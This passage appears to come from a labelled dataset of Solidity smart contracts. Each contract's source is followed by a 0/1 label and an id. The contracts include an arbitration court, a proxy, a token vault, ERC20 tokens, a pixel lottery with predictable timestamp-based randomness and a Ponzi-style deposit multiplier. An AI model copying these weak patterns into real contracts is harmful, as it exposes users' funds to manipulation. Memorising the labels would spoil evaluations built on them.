rng.getUncorrelatedRN(rnBlock); require(randomNumber != 0); period = Period.Vote; } else if (period == Period.Vote) { period = Period.Appeal; } else if (period == Period.Appeal) { period = Period.Execution; } else if (period == Period.Execution) { period = Period.Activation; ++session; segmentSize = 0; rnBlock = 0; randomNumber = 0; } lastPeriodChange = now; NewPeriod(period, session); } function activateTokens(uint _value) public onlyDuring(Period.Activation) { Juror storage juror = jurors[msg.sender]; require(_value <= juror.balance); require(_value >= minActivatedToken); require(juror.lastSession != session); juror.lastSession = session; juror.segmentStart = segmentSize; segmentSize += _value; juror.segmentEnd = segmentSize; } function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[msg.sender]; VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; require(dispute.lastSessionVote[msg.sender] != session); require(_ruling <= dispute.choices); require(validDraws(msg.sender, _disputeID, _draws)); dispute.lastSessionVote[msg.sender] = session; voteCounter.voteCount[_ruling] += _draws.length; if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { voteCounter.winningCount = voteCounter.voteCount[_ruling]; voteCounter.winningChoice = _ruling; } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { voteCounter.winningChoice = 0; } for (uint i = 0; i < _draws.length; ++i) { dispute.votes[dispute.appeals].push(Vote({ account: msg.sender, ruling: _ruling })); } juror.atStake += _draws.length * getStakePerDraw(); uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; msg.sender.transfer(feeToPay); ArbitrationReward(msg.sender, _disputeID, feeToPay); } function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { Dispute storage dispute = disputes[_disputeID]; Juror storage inactiveJuror = jurors[_jurorAddress]; require(period > Period.Vote); require(dispute.lastSessionVote[_jurorAddress] != session); dispute.lastSessionVote[_jurorAddress] = session; require(validDraws(_jurorAddress, _disputeID, _draws)); uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; inactiveJuror.balance -= penality; TokenShift(_jurorAddress, _disputeID, -int(penality)); jurors[msg.sender].balance += penality / 2; TokenShift(msg.sender, _disputeID, int(penality / 2)); jurors[governor].balance += penality / 2; TokenShift(governor, _disputeID, int(penality / 2)); msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); } function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state == DisputeState.Open); require(dispute.session+dispute.appeals <= session); uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); for (uint i = 0; i <= dispute.appeals; ++i) { if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j = 0; j < dispute.votes[i].length; ++j) { Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift<juror.balance ? amountShift : juror.balance; juror.balance -= penalty; TokenShift(vote.account, _disputeID, int(-penalty)); totalToRedistribute += penalty; } else { ++nbCoherent; } } if (nbCoherent == 0) { jurors[governor].balance += totalToRedistribute; TokenShift(governor, _disputeID, int(totalToRedistribute)); } else { uint toRedistribute = totalToRedistribute / nbCoherent; for (j = 0; j < dispute.votes[i].length; ++j) { vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } } } } for (j = 0; j < dispute.votes[i].length; ++j) { vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; } } dispute.state = DisputeState.Executable; } function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state <= DisputeState.Resolving); require(dispute.session+dispute.appeals <= session); dispute.state = DisputeState.Resolving; uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); uint currentIterations = 0; for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) { if (dispute.appealsRepartitioned.length < i+1) { dispute.appealsRepartitioned.length++; } if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) { dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) { for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift<juror.balance ? amountShift : juror.balance; juror.balance -= penalty; TokenShift(vote.account, _disputeID, int(-penalty)); dispute.appealsRepartitioned[i].totalToRedistribute += penalty; } else { ++dispute.appealsRepartitioned[i].nbCoherent; } ++dispute.appealsRepartitioned[i].currentIncoherentVote; ++currentIterations; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) { if (dispute.appealsRepartitioned[i].nbCoherent == 0) { jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute; TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute)); dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } else { uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent; for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } ++currentIterations; ++dispute.appealsRepartitioned[i].currentCoherentVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; ++currentIterations; ++dispute.appealsRepartitioned[i].currentAtStakeVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { ++dispute.currentAppealToRepartition; } } dispute.state = DisputeState.Executable; } function amountJurors(uint _disputeID) public view returns (uint nbJurors) { Dispute storage dispute = disputes[_disputeID]; return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; } function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { uint draw = 0; Juror storage juror = jurors[_jurorAddress]; Dispute storage dispute = disputes[_disputeID]; uint nbJurors = amountJurors(_disputeID); if (juror.lastSession != session) return false; if (dispute.session+dispute.appeals != session) return false; if (period <= Period.Draw) return false; for (uint i = 0; i < _draws.length; ++i) { if (_draws[i] <= draw) return false; draw = _draws[i]; if (draw > nbJurors) return false; uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; require(position >= juror.segmentStart); require(position < juror.segmentEnd); } return true; } function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { uint16 nbJurors = extraDataToNbJurors(_extraData); require(msg.value >= arbitrationCost(_extraData)); disputeID = disputes.length++; Dispute storage dispute = disputes[disputeID]; dispute.arbitrated = Arbitrable(msg.sender); if (period < Period.Draw) dispute.session = session; else dispute.session = session+1; dispute.choices = _choices; dispute.initialNumberJurors = nbJurors; dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; dispute.votes.length++; dispute.voteCounter.length++; DisputeCreation(disputeID, Arbitrable(msg.sender)); return disputeID; } function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { super.appeal(_disputeID,_extraData); Dispute storage dispute = disputes[_disputeID]; require(msg.value >= appealCost(_disputeID, _extraData)); require(dispute.session+dispute.appeals == session); require(dispute.arbitrated == msg.sender); dispute.appeals++; dispute.votes.length++; dispute.voteCounter.length++; } function executeRuling(uint disputeID) public { Dispute storage dispute = disputes[disputeID]; require(dispute.state == DisputeState.Executable); dispute.state = DisputeState.Executed; dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); } function arbitrationCost(bytes _extraData) public view returns (uint fee) { return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; } function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { Dispute storage dispute = disputes[_disputeID]; if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; } function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { if (_extraData.length < 2) return defaultNumberJuror; else return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); } function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { return (alpha * minActivatedToken) / ALPHA_DIVISOR; } function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { return disputes[_disputeID].votes[_appeals][_voteID].account; } function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { return disputes[_disputeID].votes[_appeals][_voteID].ruling; } function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { return disputes[_disputeID].voteCounter[_appeals].winningChoice; } function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { return disputes[_disputeID].voteCounter[_appeals].winningCount; } function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; } function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { return disputes[_disputeID].lastSessionVote[_juror]; } function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[_juror]; if (juror.lastSession != session || (dispute.session+dispute.appeals != session) || period<=Period.Draw || _draw>amountJurors(_disputeID) || _draw==0 || segmentSize==0 ) { return false; } else { uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; return (position >= juror.segmentStart) && (position < juror.segmentEnd); } } function currentRuling(uint _disputeID) public view returns (uint ruling) { Dispute storage dispute = disputes[_disputeID]; return dispute.voteCounter[dispute.appeals].winningChoice; } function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { Dispute storage dispute = disputes[_disputeID]; if (dispute.session+dispute.appeals < session) return DisputeStatus.Solved; else if(dispute.session+dispute.appeals == session) { if (dispute.state == DisputeState.Open) { if (period < Period.Appeal) return DisputeStatus.Waiting; else if (period == Period.Appeal) return DisputeStatus.Appealable; else return DisputeStatus.Solved; } else return DisputeStatus.Solved; } else return DisputeStatus.Waiting; } function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { _target.call.value(_value)(_data); } function setRng(RNG _rng) public onlyGovernor { rng = _rng; } function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { arbitrationFeePerJuror = _arbitrationFeePerJuror; } function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { defaultNumberJuror = _defaultNumberJuror; } function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { minActivatedToken = _minActivatedToken; } function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { timePerPeriod = _timePerPeriod; } function setAlpha(uint _alpha) public onlyGovernor { alpha = _alpha; } function setMaxAppeals(uint _maxAppeals) public onlyGovernor { maxAppeals = _maxAppeals; } function setGovernor(address _governor) public onlyGovernor { governor = _governor; } }
0
2,049
pragma solidity ^0.4.24; pragma solidity ^0.4.24; pragma solidity ^0.4.24; contract Proxy { function () payable external { _fallback(); } function _implementation() internal view returns (address); function _delegate(address implementation) internal { assembly { calldatacopy(0, 0, calldatasize) let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) switch result case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } function _willFallback() internal { } function _fallback() internal { _willFallback(); _delegate(_implementation()); } } contract UpgradeabilityProxy is Proxy { event Upgraded(address indexed implementation); bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; constructor(address _implementation, bytes _data) public payable { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); if(_data.length > 0) { require(_implementation.delegatecall(_data)); } } function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _setImplementation(address newImplementation) private { bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } contract AdminUpgradeabilityProxy is UpgradeabilityProxy { event AdminChanged(address previousAdmin, address newAdmin); bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b; modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } constructor(address _implementation, address _admin, bytes _data) UpgradeabilityProxy(_implementation, _data) public payable { assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(_admin); } function admin() external view ifAdmin returns (address) { return _admin(); } function implementation() external view ifAdmin returns (address) { return _implementation(); } function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin { _upgradeTo(newImplementation); require(newImplementation.delegatecall(data)); } function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
1
4,976
contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract TokenVault is Ownable { uint public investorCount; uint public tokensToBeAllocated; uint public totalClaimed; uint public tokensAllocatedTotal; mapping(address => uint) public balances; mapping(address => uint) public claimed; uint public freezeEndsAt; uint public lockedAt; StandardToken public token; enum State{Unknown, Loading, Holding, Distributing} event Allocated(address investor, uint value); event Distributed(address investors, uint count); event Locked(); function TokenVault(address _owner, uint _freezeEndsAt, StandardToken _token, uint _tokensToBeAllocated) { owner = _owner; if(owner == 0) { throw; } token = _token; if(!token.isToken()) { throw; } if(_freezeEndsAt == 0) { throw; } if(_tokensToBeAllocated == 0) { throw; } freezeEndsAt = _freezeEndsAt; tokensToBeAllocated = _tokensToBeAllocated; } function setInvestor(address investor, uint amount) public onlyOwner { if(lockedAt > 0) { throw; } if(amount == 0) throw; if(balances[investor] > 0) { throw; } balances[investor] = amount; investorCount++; tokensAllocatedTotal += amount; Allocated(investor, amount); } function lock() onlyOwner { if(lockedAt > 0) { throw; } if(tokensAllocatedTotal != tokensToBeAllocated) { throw; } if(token.balanceOf(address(this)) != tokensAllocatedTotal) { throw; } lockedAt = now; Locked(); } function recoverFailedLock() onlyOwner { if(lockedAt > 0) { throw; } token.transfer(owner, token.balanceOf(address(this))); } function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) { return token.balanceOf(address(this)); } function claim() { address investor = msg.sender; if(lockedAt == 0) { throw; } if(now < freezeEndsAt) { throw; } if(balances[investor] == 0) { throw; } if(claimed[investor] > 0) { throw; } uint amount = balances[investor]; claimed[investor] = amount; totalClaimed += amount; token.transfer(investor, amount); Distributed(investor, amount); } function getState() public constant returns(State) { if(lockedAt == 0) { return State.Loading; } else if(now > freezeEndsAt) { return State.Distributing; } else { return State.Holding; } } }
1
3,643
pragma solidity ^0.5.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Vicion is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "VIC"; name = "Vicion"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function withdrawEther(uint256 amount) public returns (bool success){ if(msg.sender != owner)revert(); msg.sender.transfer(amount); return true; } function () external payable { } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
5,482
pragma solidity ^0.4.24; contract PixelFactory { address public contractOwner; uint public startPrice = 0.1 ether; bool public isInGame = false; uint public finishTime; uint public lastWinnerId; address public lastWinnerAddress; constructor() public { contractOwner = msg.sender; } modifier onlyOwner() { require(msg.sender == contractOwner); _; } struct Pixel { uint price; } Pixel[] public pixels; mapping(uint => address) pixelToOwner; mapping(address => string) ownerToUsername; event Username(string username); function setUsername(string username) public { ownerToUsername[msg.sender] = username; emit Username(username); } function getUsername() public view returns(string) { return ownerToUsername[msg.sender]; } function startGame() public onlyOwner { require(isInGame == false); isInGame = true; finishTime = 86400 + now; } function sendOwnerCommission() public payable onlyOwner { contractOwner.transfer(msg.value); } function _sendWinnerJackpot(address winner) private { uint jackpot = 10 ether; winner.transfer(jackpot); } function getFinishTime() public view returns(uint) { return finishTime; } function getLastWinner() public view returns(uint id, address addr) { id = lastWinnerId; addr = lastWinnerAddress; } function _rand(uint min, uint max) private view returns(uint) { return uint(keccak256(abi.encodePacked(now)))%(min+max)-min; } function finisGame() public onlyOwner { require(isInGame == true); isInGame = false; finishTime = 0; uint winnerId = _rand(0, 399); lastWinnerId = winnerId; address winnerAddress = pixelToOwner[winnerId]; lastWinnerAddress = winnerAddress; _sendWinnerJackpot(winnerAddress); delete pixels; } function createPixels(uint amount) public onlyOwner { require(pixels.length + amount <= 400); for(uint i=0; i<amount; i++) { uint id = pixels.push(Pixel(startPrice)) - 1; pixelToOwner[id] = msg.sender; } } function getAllPixels() public view returns(uint[], uint[], address[]) { uint[] memory id = new uint[](pixels.length); uint[] memory price = new uint[](pixels.length); address[] memory owner = new address[](pixels.length); for (uint i = 0; i < pixels.length; i++) { Pixel storage pixel = pixels[i]; id[i] = i; price[i] = pixel.price; owner[i] = pixelToOwner[i]; } return (id, price, owner); } function _checkPixelIdExists(uint id) private constant returns(bool) { if(id < pixels.length) return true; return false; } function _transfer(address to, uint id) private { pixelToOwner[id] = to; } function buy(uint id) external payable { require(_checkPixelIdExists(id) == true); Pixel storage pixel = pixels[id]; uint currentPrice = pixel.price; address currentOwner = pixelToOwner[id]; address newOwner = msg.sender; require(currentPrice == msg.value); require(currentOwner != msg.sender); uint newPrice = currentPrice * 2; pixel.price = newPrice; if(currentOwner != contractOwner) { currentOwner.transfer(msg.value); } _transfer(newOwner, id); } }
0
623
pragma solidity ^0.4.25; contract BestMultiplier { address public support; uint constant public MULTIPLIER = 130; struct Deposit { address depositor; uint128 deposit; uint128 expect; } Deposit[] private queue; uint public currentReceiverIndex = 0; mapping (address => bool) public notSupport; constructor() public { support = msg.sender; } function () public payable { if (msg.value == 0.0000001 ether) { notSupport[msg.sender] = true; return; } if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value >= 0.01 ether); require(msg.value <= 10 ether); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); if (!notSupport[msg.sender]) { support.transfer(msg.value * 5 / 1000); } pay(); } } function pay() private { uint128 money = uint128(address(this).balance); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
0
262
pragma solidity ^0.4.15; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; modifier onlyOwner() { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract LamdenTau is MintableToken { string public constant name = "Lamden Tau"; string public constant symbol = "TAU"; uint8 public constant decimals = 18; } contract Bounty is Ownable { LamdenTau public lamdenTau; function Bounty(address _tokenContractAddress) public { require(_tokenContractAddress != address(0)); lamdenTau = LamdenTau(_tokenContractAddress); } function returnTokens() onlyOwner { uint256 balance = lamdenTau.balanceOf(this); lamdenTau.transfer(msg.sender, balance); } function issueTokens() onlyOwner { lamdenTau.transfer(0x2D5089a716ddfb0e917ea822B2fa506A3B075997, 840000000000000000000); lamdenTau.transfer(0xe195cC6e1F738Df5bB114094cE4fbd7162CaD617, 840000000000000000000); lamdenTau.transfer(0x3c567089fdB2F43399f82793999Ca4e2879a1442, 120000000000000000000); lamdenTau.transfer(0xdDF103c148a368B34215Ac2b37892CaBC98d2eb6, 180000000000000000000); lamdenTau.transfer(0x32b50a36762bA0194DbbD365C69014eA63bC208A, 240000000000000000000); lamdenTau.transfer(0x80e264eca46565b3b89234C889f86fC48A37FD27, 160000000000000000000); lamdenTau.transfer(0x8899b7328114dE9e26AF0f920b933517A84d0B27, 40000000000000000000); lamdenTau.transfer(0x5F3034c41fE8548A0B8718622679A7A1B1d990a2, 180000000000000000000); 